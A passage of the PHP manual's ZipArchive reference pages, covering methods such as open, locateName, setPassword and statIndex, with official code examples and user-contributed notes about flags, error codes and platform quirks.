If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged name is returned.

Return Values

Returns the name on success or FALSE on failure.

Examples

Example #1 ZipArchive::getNameIndex() example

<?php
if ($zip->open('test.zip') == TRUE) {
 for ($i = 0; $i < $zip->numFiles; $i++) {
     $filename = $zip->getNameIndex($i);
     // ...
 }
}
?>

User Contributed Notes

Yeslifer 03-Mar-2009 01:13
I couldn't find any how-to example for getting the filenames, so I made an easy one.

Here's an example how to list all filenames from a zip-archive:

<?php
$zip = new ZipArchive;
if ($zip->open('items.zip'))
{
     for($i = 0; $i < $zip->numFiles; $i++)
     {
          echo 'Filename: ' . $zip->getNameIndex($i) . '<br />';
     }
}
else
{
     echo 'Error reading zip-archive!';
}
?>

Hope it helps.


Returns the status error message, system and/or zip messages

  • « ZipArchive::getNameIndex
  • ZipArchive::getStream »
  • PHP Manual
  • ZipArchive
  • Returns the status error message, system and/or zip messages

ZipArchive::getStatusString

(PHP 5 >= 5.2.7)

ZipArchive::getStatusString — Returns the status error message, system and/or zip messages

Description

string ZipArchive::getStatusString ( void )

Returns the status error message, system and/or zip messages.

Parameters

This function has no parameters.

Return Values

Returns a string with the status message on success or FALSE on failure.

User Contributed Notes

vlabots 25-Sep-2014 04:53
This method is not static! It must be called:

<?php
$zip = new ZipArchive();
 ...
echo $zip->getStatusString();
?>

(Using PHP 5.4.4)


Get a file handler to the entry defined by its name (read only).

  • « ZipArchive::getStatusString
  • ZipArchive::locateName »
  • PHP Manual
  • ZipArchive
  • Get a file handler to the entry defined by its name (read only).

ZipArchive::getStream

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::getStream — Get a file handler to the entry defined by its name (read only).

Description

resource ZipArchive::getStream ( string $name )

Get a file handler to the entry defined by its name. For now it only supports read operations.

Parameters

name

The name of the entry to use.

Return Values

Returns a file pointer (resource) on success or FALSE on failure.

Examples

Example #1 Get the entry contents with fread() and store it

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
    $fp = $z->getStream('test');
    if(!$fp) exit("failed\n");

    while (!feof($fp)) {
        $contents .= fread($fp, 2);
    }

    fclose($fp);
    file_put_contents('t',$contents);
    echo "done.\n";
}
?>

Example #2 Same as the previous example but with fopen() and the zip stream wrapper

<?php
$contents = '';
$fp = fopen('zip://' . dirname(__FILE__) . '/test.zip#test', 'r');
if (!$fp) {
    exit("cannot open\n");
}
while (!feof($fp)) {
    $contents .= fread($fp, 2);
}
echo "$contents\n";
fclose($fp);
echo "done.\n";
?>

Example #3 Stream wrapper and image, can be used with the xml function as well

<?php
$im = imagecreatefromgif('zip://' . dirname(__FILE__) . '/test_im.zip#pear_item.gif');
imagepng($im, 'a.png');
?>

User Contributed Notes

Anonymous 18-Aug-2011 02:06
I experienced problems using fread to read the content of the zip when the file was PDF. Using stream_get_contents instead solved the problem.


Returns the index of the entry in the archive

  • « ZipArchive::getStream
  • ZipArchive::open »
  • PHP Manual
  • ZipArchive
  • Returns the index of the entry in the archive

ZipArchive::locateName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::locateName — Returns the index of the entry in the archive

Description

int ZipArchive::locateName ( string $name [, int $flags ] )

Locates an entry using its name.

Parameters

name

The name of the entry to look up

flags

The flags are specified by ORing the following values, or 0 for none of them.

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

Return Values

Returns the index of the entry on success or FALSE on failure.

Examples

Example #1 Create an archive and then use it with ZipArchive::locateName()

<?php
$file = 'testlocate.zip';

$zip = new ZipArchive;
if ($zip->open($file, ZipArchive::CREATE) !== TRUE) {
    exit('failed');
}

$zip->addFromString('entry1.txt', 'entry #1');
$zip->addFromString('entry2.txt', 'entry #2');
$zip->addFromString('dir/entry2d.txt', 'entry #2');

if (!$zip->status == ZipArchive::ER_OK) {
    echo "failed to write zip\n";
}
$zip->close();

if ($zip->open($file) !== TRUE) {
    exit('failed');
}

echo $zip->locateName('entry1.txt') . "\n";
echo $zip->locateName('eNtry2.txt') . "\n";
echo $zip->locateName('eNtry2.txt', ZipArchive::FL_NOCASE) . "\n";
echo $zip->locateName('enTRy2d.txt', ZipArchive::FL_NOCASE|ZipArchive::FL_NODIR) . "\n";
$zip->close();

?>

The above example will output:

0

1
2

User Contributed Notes

thedotwriter 25-Sep-2012 05:22
As this is not directly available from this page, here's the meaning of the two flags:

ZIPARCHIVE::FL_NOCASE
    Ignore case on name lookup

ZIPARCHIVE::FL_NODIR
    Ignore directory component

All defined constants can be found here : http://php.net/manual/en/zip.constants.php
me at nowhere dot com 03-Sep-2008 10:04
If the option ZIPARCHIVE::FL_NODIR is used, the result may be ambiguous as files with the same name may occur in various directories. In this case, the first occurence in the index whoose name matches is returned.
E.g.

<?php
$zip->addFromString('afile.txt', 'index 0');
$zip->addFromString('double.txt', 'index 1');
$zip->addFromString('dir/double.txt', 'index 2');
?>

$zip->locateName('double.txt',ZIPARCHIVE::FL_NODIR) returns 1


Open a ZIP file archive

  • « ZipArchive::locateName
  • ZipArchive::renameIndex »
  • PHP Manual
  • ZipArchive
  • Open a ZIP file archive

ZipArchive::open

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::open — Open a ZIP file archive

Description

mixed ZipArchive::open ( string $filename [, int $flags ] )

Opens a new zip archive for reading, writing or modifying.

Parameters

filename

The file name of the ZIP archive to open.

flags

The mode to use to open the archive.

  • ZipArchive::OVERWRITE

  • ZipArchive::CREATE

  • ZipArchive::EXCL

  • ZipArchive::CHECKCONS

Return Values

Error codes

Returns TRUE on success or the error code.

  • ZipArchive::ER_EXISTS

    File already exists.

  • ZipArchive::ER_INCONS

    Zip archive inconsistent.

  • ZipArchive::ER_INVAL

    Invalid argument.

  • ZipArchive::ER_MEMORY

    Malloc failure.

  • ZipArchive::ER_NOENT

    No such file.

  • ZipArchive::ER_NOZIP

    Not a zip archive.

  • ZipArchive::ER_OPEN

    Can't open file.

  • ZipArchive::ER_READ

    Read error.

  • ZipArchive::ER_SEEK

    Seek error.

Examples

Example #1 Open and extract

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    echo 'ok';
    $zip->extractTo('test');
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

Example #2 Create an archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->addFile('data.txt', 'entryname.txt');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

Eric Langlois 30-Jan-2014 06:53
<?PHP
        $zip = new ZipArchive;
    $res = $zip->open('test.zip', ZipArchive::CREATE);

    if ( $res === TRUE) {
               //CODE GOES HERE

        $zip->close();
    } else {
        switch($res){
            case ZipArchive::ER_EXISTS:
                $ErrMsg = "File already exists.";
                break;

            case ZipArchive::ER_INCONS:
                $ErrMsg = "Zip archive inconsistent.";
                break;

            case ZipArchive::ER_MEMORY:
                $ErrMsg = "Malloc failure.";
                break;

            case ZipArchive::ER_NOENT:
                $ErrMsg = "No such file.";
                break;

            case ZipArchive::ER_NOZIP:
                $ErrMsg = "Not a zip archive.";
                break;

            case ZipArchive::ER_OPEN:
                $ErrMsg = "Can't open file.";
                break;

            case ZipArchive::ER_READ:
                $ErrMsg = "Read error.";
                break;

            case ZipArchive::ER_SEEK:
                $ErrMsg = "Seek error.";
                break;

            default:
                $ErrMsg = "Unknow (Code $rOpen)";
                break;

        }
         die( 'ZipArchive Error: ' . $ErrMsg);
    }
?>
walter at clevertechie dot com 18-Nov-2012 05:53
If you have archives that you want to overwrite just use:

ZIPARCHIVE::CREATE

It will overwrite existing archives and at the same time create new ones if they don't already exist.

ZIPARCHIVE::OVERWRITE won't work for both of these scenarios.

(PHP version 5.4.4)
YiiWanAB at hotmail dot com 30-Aug-2011 07:06
Most of the time people iterate over a directory with 'opendir' or 'readdir' to add files to a zip. Like...

while ($file = readdir($dir)) { ... $zip->addFile($file) }

Note that $zip->addFile($file) will only work in the current directory if your at the root. You will need to add the correct path to that $file string variable to have the full file name like ...

$zip->addFile($dir . DIRECTORY_SEPARATOR . $file); will work.

This may identify why you may get a read error when closing the file.

Enjoy.
sunil dt bhave at gmail dt com 17-Mar-2011 07:44
Even though the api specifies that the flags are optional I found that I had to specify the flag ZIPARCHIVE::CREATE for an archive to be opened.
This is on a Windows 7 system with PHP 5.3.0
Jan Vavra 10-Mar-2011 09:04
As discussed in http://bugs.php.net/bug.php?id=54128 on Windows Server systems (2003, 2008) and IIS there is a problem when you want to unzip file stored in C:\Windows\Temp folder.
User of worker process IUSR_XXX has no directory listing right for C:\Windows\Temp and this is a reason why ZipArchive::open() fails with error 11 (error open). So it is not a good idea to store file for unzipping in folder defined by sys_get_temp_dir().
sebwoolford at gmail dot com 23-Oct-2009 12:29
Further to what rickky at gmail dot com was saying, I've had that problem while trying to cache zip files and found that I had to set the permissions of the containing folder to 777 to get it to work.

Because this is a potential security weakness if on a public viewable folder, I'd recommend moving the folder so that it is no longer within public_html. You can then use readfile() to output the archive to the browser, with some HTTP headers to tell the browser it is a zip file.
michael202 at gmx dot de 29-Jul-2009 03:33
to anyone getting an error ZIPARCHIVE::ER_READ = 5, when
doing $zip->open($zipfile) with a ZIP file containing a total of more then (around) 800 files (even when they are in sub-directories).

possibly related bugs 40873, 8714:

1. it was not an OS limit, because it worked when called from windows via samba on the same file at the same place

2. it wasn't working under 32bit linux

with php 5.3.0 the issue seems to be resolved.
eric at webdeveric dot com 06-Feb-2009 04:06
With php 5.2.6, the following code created a new zip or replaced a existing zip.
Note that I am only using the ZIPARCHIVE::OVERWRITE flag.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

Now, with php 5.2.8, it does not work and gives this warning:

Warning: ZipArchive::addFromString() [ziparchive.addfromstring]: Invalid or unitialized Zip object in [myfile] on line [myline]

To fix this, you must specify the flags as create or overwrite.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

When googling for the error message I found a lot of people that had it but couldn't figure out why they were getting it.
I hope this helps someone.
jj at icglink dot com 04-Dec-2008 08:09
if you are echoing out the output and confused about the number...maybe this will help.  i'm not totally sure it is accurate though.

ZIPARCHIVE::ER_EXISTS - 10
ZIPARCHIVE::ER_INCONS - 21
ZIPARCHIVE::ER_INVAL - 18
ZIPARCHIVE::ER_MEMORY - 14
ZIPARCHIVE::ER_NOENT - 9
ZIPARCHIVE::ER_NOZIP - 19
ZIPARCHIVE::ER_OPEN - 11
ZIPARCHIVE::ER_READ - 5
ZIPARCHIVE::ER_SEEK - 4
azsymvelik at gmail dot com 01-Aug-2008 10:25
<?php

/*
Hi!

I made a little script about checking content and "secure repacking"
*/

$somefile = "zip.zip";
$someurl = "/some/url"
$zip = new ZipArchive;
$open = $zip->open($somefile, ZIPARCHIVE::CHECKCONS);
// If the archive is broken(or just another file renamed to *.zip) the function will return error on httpd under windows, so it's good to check if the archive is ok with ZIPARCHIVE::CHECKCONS
if ($open === TRUE) {
if(!$zip->extractTo($someurl)) {
die ("Error during extracting");
}
$zip->close();
}
$new_archive_name = "new.zip";
$new_zip = new ZipArchive;
$new_open = $new_zip->open($new_archive_name, ZIPARCHIVE::CREATE);
if ($new_open === TRUE) {
$dir = opendir($someurl);
while ($file = readdir($dir)) {
 if ($file == "." || $file == "..") { } else {
 //We do not wanna this files in the new zip archive
  if (!$new_zip->addFile($file)) {
     print $file."was not added!<br />";
   }
  }
 }
}
$new_zip->close();
?>
Jonathan Baltazar 23-Jul-2008 04:14
The file name does not need to end in '.zip' if it is created using tempnam().  You just need to overwrite the file instead of trying to read it:

<?php
$file = tempnam("tmp", "zip");

$zip = new ZipArchive();

// Zip will open and overwrite the file, rather than try to read it.
$zip->open($file, ZipArchive::OVERWRITE);

$zip->close();

// Stream the file to the client
header("Content-Type: application/zip");
header("Content-Length: " . filesize($file));
header("Content-Disposition: attachment; filename=\"a_zip_file.zip\"");
readfile($file);

unlink($file);
?>
olivier pons 16-May-2008 09:26
If you try this to open a file with creation in mind (= empty zip to fill with other files), this may not work :

$res = $zip->open($zip_file, ZipArchive::CREATE);

// you may get false

Try this instead, it should work :

$res = $zip->open($zip_file, ZIPARCHIVE::OVERWRITE);
rickky at gmail dot com 02-Jul-2007 02:07
If the directory you are writing or saving into does not have the correct permissions set, you won't get any error messages and it will look like everything worked fine... except it won't have changed!

Instead make sure you collect the return value of ZipArchive::close(). If it is false... it didn't work.


Renames an entry defined by its index

  • « ZipArchive::open
  • ZipArchive::renameName »
  • PHP Manual
  • ZipArchive
  • Renames an entry defined by its index

ZipArchive::renameIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::renameIndex — Renames an entry defined by its index

Description

bool ZipArchive::renameIndex ( int $index , string $newname )

Renames an entry defined by its index.

Parameters

index

Index of the entry to rename.

newname

New name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rename one entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->renameIndex(2,'newname.txt');
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Renames an entry defined by its name

  • « ZipArchive::renameIndex
  • ZipArchive::setArchiveComment »
  • PHP Manual
  • ZipArchive
  • Renames an entry defined by its name

ZipArchive::renameName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::renameName — Renames an entry defined by its name

Description

bool ZipArchive::renameName ( string $name , string $newname )

Renames an entry defined by its name.

Parameters

name

Name of the entry to rename.

newname

New name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Rename one entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->renameName('currentname.txt','newname.txt');
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the comment of a ZIP archive

  • « ZipArchive::renameName
  • ZipArchive::setCommentIndex »
  • PHP Manual
  • ZipArchive
  • Set the comment of a ZIP archive

ZipArchive::setArchiveComment

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::setArchiveComment — Set the comment of a ZIP archive

Description

bool ZipArchive::setArchiveComment ( string $comment )

Set the comment of a ZIP archive.

Parameters

comment

The contents of the comment.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create an archive and set a comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setArchiveComment('new archive comment');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the comment of an entry defined by its index

  • « ZipArchive::setArchiveComment
  • ZipArchive::setCommentName »
  • PHP Manual
  • ZipArchive
  • Set the comment of an entry defined by its index

ZipArchive::setCommentIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::setCommentIndex — Set the comment of an entry defined by its index

Description

bool ZipArchive::setCommentIndex ( int $index , string $comment )

Set the comment of an entry defined by its index.

Parameters

index

Index of the entry.

comment

The contents of the comment.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Open an archive and set a comment for an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->setCommentIndex(2, 'new entry comment');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the comment of an entry defined by its name

  • « ZipArchive::setCommentIndex
  • ZipArchive::setExternalAttributesIndex »
  • PHP Manual
  • ZipArchive
  • Set the comment of an entry defined by its name

ZipArchive::setCommentName

(PHP 5 >= 5.2.0, PECL zip >= 1.4.0)

ZipArchive::setCommentName — Set the comment of an entry defined by its name

Description

bool ZipArchive::setCommentName ( string $name , string $comment )

Set the comment of an entry defined by its name.

Parameters

name

Name of the entry.

comment

The contents of the comment.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Open an archive and set a comment for an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->setCommentName('entry1.txt', 'new entry comment');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the external attributes of an entry defined by its index

  • « ZipArchive::setCommentName
  • ZipArchive::setExternalAttributesName »
  • PHP Manual
  • ZipArchive
  • Set the external attributes of an entry defined by its index

ZipArchive::setExternalAttributesIndex

(PHP 5 >= 5.6.0, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesIndex — Set the external attributes of an entry defined by its index

Description

bool ZipArchive::setExternalAttributesIndex ( int $index , int $opsys , int $attr [, int $flags ] )

Set the external attributes of an entry defined by its index.

Parameters

index

Index of the entry.

opsys

The operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

The external attributes. Value depends on operating system.

flags

Optional flags. Currently unused.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the external attributes of an entry defined by its name

  • « ZipArchive::setExternalAttributesIndex
  • ZipArchive::setPassword »
  • PHP Manual
  • ZipArchive
  • Set the external attributes of an entry defined by its name

ZipArchive::setExternalAttributesName

(PHP 5 >= 5.6.0, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesName — Set the external attributes of an entry defined by its name

Description

bool ZipArchive::setExternalAttributesName ( string $name , int $opsys , int $attr [, int $flags ] )

Set the external attributes of an entry defined by its name.

Parameters

name

Name of the entry.

opsys

The operating system code defined by one of the ZipArchive::OPSYS_ constants.

attr

The external attributes. Value depends on operating system.

flags

Optional flags. Currently unused.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

This example opens a ZIP file archive test.zip and add the file test.txt with its Unix rights as external attributes.

Example #1 Archive a file, with its Unix rights

<?php
$zip = new ZipArchive();
$stat = stat($filename='test.txt');
if (is_array($stat) && $zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
    $zip->addFile($filename);
    $zip->setExternalAttributesName($filename, ZipArchive::OPSYS_UNIX, $stat['mode']);
    $zip->close();
    echo "Ok\n";
} else {
    echo "KO\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Set the password for the active archive

  • « ZipArchive::setExternalAttributesName
  • ZipArchive::statIndex »
  • PHP Manual
  • ZipArchive
  • Set the password for the active archive

ZipArchive::setPassword

(PHP 5 >= 5.6.0, PECL zip >= 1.12.4)

ZipArchive::setPassword — Set the password for the active archive

Description

public bool ZipArchive::setPassword ( string $password )

Sets the password for the active archive.

Parameters

password

The password to add to the archive.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

stanislav dot eckert at vizson dot de 26-Sep-2014 11:43
It seems that this function supports only decryption of password protected archives (see changelog: http://pecl.php.net/package-changelog.php?package=zip). Creation of password protected archives is not supported (they will be created simply as non-protected archives).

Example code for extraction of files from password protected ZIP archives:

<?php
    $zip = new ZipArchive();
    $zip_status = $zip->open("test.zip");

    if ($zip_status === true)
    {
        if ($zip->setPassword("MySecretPassword"))
        {
            if (!$zip->extractTo(__DIR__))
                echo "Extraction failed (wrong password?)";
        }

        $zip->close();
    }
    else
    {
        die("Failed opening archive: ". @$zip->getStatusString() . " (code: ". $zip_status .")");
    }
?>
@mikeziri 18-Sep-2014 09:37
$zip = new ZipArchive();
$code = $zip->open('myzip.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
    if ($code === true)
        echo 'zip opened<br>';
    else
        echo $code.'<br>';
    $zip->addFile('somefile');

    $code = $zip->setPassword('secret');

    if ($code === true)
        echo 'password set<br>';
    else
        echo $code.'<br>';

    $code = $zip->close();
    if ($code === true)
        echo 'closed<br>';
    else
        echo $code.'<br>';

    echo 'done<br>';

this prints:

zip opened
password set
closed
done

on the filesystem, the myzip.zip is created with somefile inside but the zip file is not password protected.


Get the details of an entry defined by its index.

  • « ZipArchive::setPassword
  • ZipArchive::statName »
  • PHP Manual
  • ZipArchive
  • Get the details of an entry defined by its index.

ZipArchive::statIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::statIndex — Get the details of an entry defined by its index.

Description

array ZipArchive::statIndex ( int $index [, int $flags ] )

The function obtains information about the entry defined by its index.

Parameters

index

Index of the entry

flags

ZipArchive::FL_UNCHANGED may be ORed to it to request information about the original file in the archive, ignoring any changes made.

Return Values

Returns an array containing the entry details or FALSE on failure.

Examples

Example #1 Dump the stat info of an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    print_r($zip->statIndex(3));
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

The above example will output something similar to:

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

Chris Lewis 20-Dec-2011 09:15
Note that the signed-integer CRC result is only true on 32-bit systems. 64-bit systems return correct CRCs.

A safer way (as recommended by crc32() function page) might be:

if ($file['crc'] < 0)
   $file['crc'] = sprintf("%u",$file['crc']);
Anonymous 16-Nov-2011 05:20
The CRC returned from this method is a signed number and so can be negative. This isn't how most CRC's are represented and so can cause problems. Another thing to know is that the standerd CRC algorithm used for zip files is CRC32b.

So to put this together lets say that you wanted to extract the first file from a zip and then compare the original CRC with the CRC for the extracted file this is what you would need to do. (proper error checking is omitted for simplicity).

<?php
 $zip = new ZipArchive();

 $zip->open("myZip.zip");

 $stat = $zip->statIndex( 0 );

 $name = $stat['name'];

 $oldCrc = $stat['crc'];

 $zip->extractTo("myPath", $name);

 $newCrc = hexdec(hash_file("crc32b", "myPath/" . $name));

 // Have to test both cases as the unsigned CRC from within the zip might appear negative as a signed int.
 if($newCrc !== $oldCrc && ($oldCrc + 4294967296) !== $newCrc) {
    echo "The files don't match!";
 }
?>


Get the details of an entry defined by its name.

  • « ZipArchive::statIndex
  • ZipArchive::unchangeAll »
  • PHP Manual
  • ZipArchive
  • Get the details of an entry defined by its name.

ZipArchive::statName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::statName — Get the details of an entry defined by its name.

Description

array ZipArchive::statName ( string $name [, int $flags ] )

The function obtains information about the entry defined by its name.

Parameters

name

Name of the entry

flags

The flags argument specifies how the name lookup should be done. Also, ZipArchive::FL_UNCHANGED may be ORed to it to request information about the original file in the archive, ignoring any changes made.

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

  • ZipArchive::FL_UNCHANGED

Return Values

Returns an array containing the entry details or FALSE on failure.

Examples

Example #1 Dump the stat info of an entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    print_r($zip->statName('foobar/baz'));
    $zip->close();
} else {
    echo 'failed, code:' . $res;
}
?>

The above example will output something similar to:

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

Stewart Rice 26-Mar-2010 01:18
Since a Unix Timestamp is measured in seconds, not milliseconds, I would have to assume that mtime is 'modified time' rather than 'millisecond time'... however it does not appear to work on a Linux system


Undo all changes done in the archive

  • « ZipArchive::statName
  • ZipArchive::unchangeArchive »
  • PHP Manual
  • ZipArchive
  • Undo all changes done in the archive

ZipArchive::unchangeAll

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::unchangeAll — Undo all changes done in the archive

Description

bool ZipArchive::unchangeAll ( void )

Undo all changes done in the archive.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Revert all global changes done in the archive.

  • « ZipArchive::unchangeAll
  • ZipArchive::unchangeIndex »
  • PHP Manual
  • ZipArchive
  • Revert all global changes done in the archive.

ZipArchive::unchangeArchive

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::unchangeArchive — Revert all global changes done in the archive.

Description

bool ZipArchive::unchangeArchive ( void )

Revert all global changes to the archive. For now, this only reverts archive comment changes.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Revert all changes done to an entry at the given index

  • « ZipArchive::unchangeArchive
  • ZipArchive::unchangeName »
  • PHP Manual
  • ZipArchive
  • Revert all changes done to an entry at the given index

ZipArchive::unchangeIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index

Description

bool ZipArchive::unchangeIndex ( int $index )

Revert all changes done to an entry at the given index.

Parameters

index

Index of the entry.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

till at php dot net 29-Aug-2010 05:29
Consider this example:

<?php
$zip = new ZipArchive;
$zip->open(...);

$zip->addFile('path/file', 'foo');
$zip->renameIndex(0, 'bar');

echo $zip->getNameIndex(0); // 'bar'

$zip->unchangeIndex(0);

echo $zip->getNameIndex(0); // 'false'
?>

Unless you call save() in between, the unchangeIndex() call reverts back to the initial state of the archive - where index '0' did not exist.

If you called save() after addFile() and then renamed the file, you would be able to revert/undo the name change.


Revert all changes done to an entry with the given name.

  • « ZipArchive::unchangeIndex
  • Zip Functions »
  • PHP Manual
  • ZipArchive
  • Revert all changes done to an entry with the given name.

ZipArchive::unchangeName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::unchangeName — Revert all changes done to an entry with the given name.

Description

bool ZipArchive::unchangeName ( string $name )

Revert all changes done to an entry.

Parameters

name

Name of the entry.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Zip Functions

Table of Contents

  • zip_close — Close a ZIP file archive
  • zip_entry_close — Close a directory entry
  • zip_entry_compressedsize — Retrieve the compressed size of a directory entry
  • zip_entry_compressionmethod — Retrieve the compression method of a directory entry
  • zip_entry_filesize — Retrieve the actual file size of a directory entry
  • zip_entry_name — Retrieve the name of a directory entry
  • zip_entry_open — Open a directory entry for reading
  • zip_entry_read — Read from an open directory entry
  • zip_open — Open a ZIP file archive
  • zip_read — Read next entry in a ZIP file archive

User Contributed Notes

shadowbranch at gmail dot com 30-Sep-2011 02:40
This is the simplest method to unzip a file. Pass the function your filename and it will unzip it to the current directory of the script with permissions done properly on unix type operating systems. Far simpler to understand and read.

<?php
function unzip($file){
    $zip = zip_open($file);
    if(is_resource($zip)){
        $tree = "";
        while(($zip_entry = zip_read($zip)) !== false){
            echo "Unpacking ".zip_entry_name($zip_entry)."\n";
            if(strpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR) !== false){
                $last = strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR);
                $dir = substr(zip_entry_name($zip_entry), 0, $last);
                $file = substr(zip_entry_name($zip_entry), strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR)+1);
                if(!is_dir($dir)){
                    @mkdir($dir, 0755, true) or die("Unable to create $dir\n");
                }
                if(strlen(trim($file)) > 0){
                    $return = @file_put_contents($dir."/".$file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                    if($return === false){
                        die("Unable to write file $dir/$file\n");
                    }
                }
            }else{
                file_put_contents($file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
            }
        }
    }else{
        echo "Unable to open zip file\n";
    }
}
?>
wdtemp at seznam dot cz 12-Apr-2010 09:34
Hi,
if you have the RAW CONTENT OF THE ZIP FILE IN A STRING ONLY and you can't create files on your server (because of the SAFE MODE) to be able to create a file which you can then pass to zip_open(), you'll be having hard times getting the uncompressed content of your ZIP data.
This may help:
I've written simple ZIP decompression function for decompressing the first file from the archive stored in a string (no matter what file it is). It's just about parsing a local file header of the first file, getting raw compressed data of that file and decompression of that data (usually, data in ZIP files are compressed by 'DEFLATE' method, so we'll just decompress it by gzinflate() function then).

<?php
function decompress_first_file_from_zip($ZIPContentStr){
//Input: ZIP archive - content of entire ZIP archive as a string
//Output: decompressed content of the first file packed in the ZIP archive
    //let's parse the ZIP archive
    //(see 'http://en.wikipedia.org/wiki/ZIP_%28file_format%29' for details)
    //parse 'local file header' for the first file entry in the ZIP archive
    if(strlen($ZIPContentStr)<102){
        //any ZIP file smaller than 102 bytes is invalid
        printf("error: input data too short<br />\n");
        return '';
    }
    $CompressedSize=binstrtonum(substr($ZIPContentStr,18,4));
    $UncompressedSize=binstrtonum(substr($ZIPContentStr,22,4));
    $FileNameLen=binstrtonum(substr($ZIPContentStr,26,2));
    $ExtraFieldLen=binstrtonum(substr($ZIPContentStr,28,2));
    $Offs=30+$FileNameLen+$ExtraFieldLen;
    $ZIPData=substr($ZIPContentStr,$Offs,$CompressedSize);
    $Data=gzinflate($ZIPData);
    if(strlen($Data)!=$UncompressedSize){
        printf("error: uncompressed data have wrong size<br />\n");
        return '';
    }
    else return $Data;
}

function binstrtonum($Str){
//Returns a number represented in a raw binary data passed as string.
//This is useful for example when reading integers from a file,
// when we have the content of the file in a string only.
//Examples:
// chr(0xFF) will result as 255
// chr(0xFF).chr(0xFF).chr(0x00).chr(0x00) will result as 65535
// chr(0xFF).chr(0xFF).chr(0xFF).chr(0x00) will result as 16777215
    $Num=0;
